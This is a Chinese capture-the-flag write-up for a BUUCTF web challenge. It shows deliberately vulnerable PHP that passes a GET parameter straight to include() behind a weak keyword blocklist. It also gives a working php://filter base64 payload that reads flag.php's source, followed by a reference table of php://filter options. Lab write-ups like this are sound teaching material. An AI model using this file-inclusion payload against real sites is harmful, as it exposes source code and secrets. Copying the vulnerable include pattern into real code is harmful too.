打开链接 黑色背景 直接F12 发现超链接href="./Archive_room.php"
访问试试 又发现 href="./action.php"
接着访问 却到了end.php
。叫我们回去看看 那么中间一定有我们看不见的东西 所以抓包重发看看
发现 secr3t.php 访问发现一段代码
<html>
<title>secret</title>
<meta charset="UTF-8">
<?php
highlight_file(__FILE__);
error_reporting(0);
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag放在了flag.php里
?>
</html>
flag放在了flag.php里 尝试访问flag.php 但是提示我们看不见他。那么有可能就是php伪协议中的 php://filter,常用来读取文件和源码
上面的源码中的变量file是以get方式提交的 那么payload如下:http://47ad2052-eed5-46b4-838f-23dae02dbced.node3.buuoj.cn/secr3t.php?file=php://filter/read=convert.base64-encode/resource=flag.php
意思为 以base64编码方式读取php文件的源码 因此我们得到一串编码
base64解密发现flag
php://filter参数简单总结
php://filter 参数 | 描述 |
---|---|
resource=<要过滤的数据流> | 必须项。它指定了你要筛选过滤的数据流。 |
read=<读链的过滤器> | 可选项。可以设定一个或多个过滤器名称,以管道符(*\ *)分隔 |
write=<写链的过滤器> | 可选项。可以设定一个或多个过滤器名称,以管道符(\ )分隔 |
<; 两个链的过滤器> | 任何没有以 read= 或 write= 作前缀的筛选器列表会视情况应用于读或写链。 |
主要转换器类型:
- 字符串过滤器
- 转换过滤器
- 压缩过滤器
- 加密过滤器
简单介绍本题遇到的转换过滤器
转换过滤器 | 作用 |
---|---|
convert.base64-encode & convert.base64-decode | 等同于base64_encode()和base64_decode(),base64编码解码 |
convert.quoted-printable-encode & convert.quoted-printable-decode | quoted-printable 字符串与 8-bit 字符串编码解码 |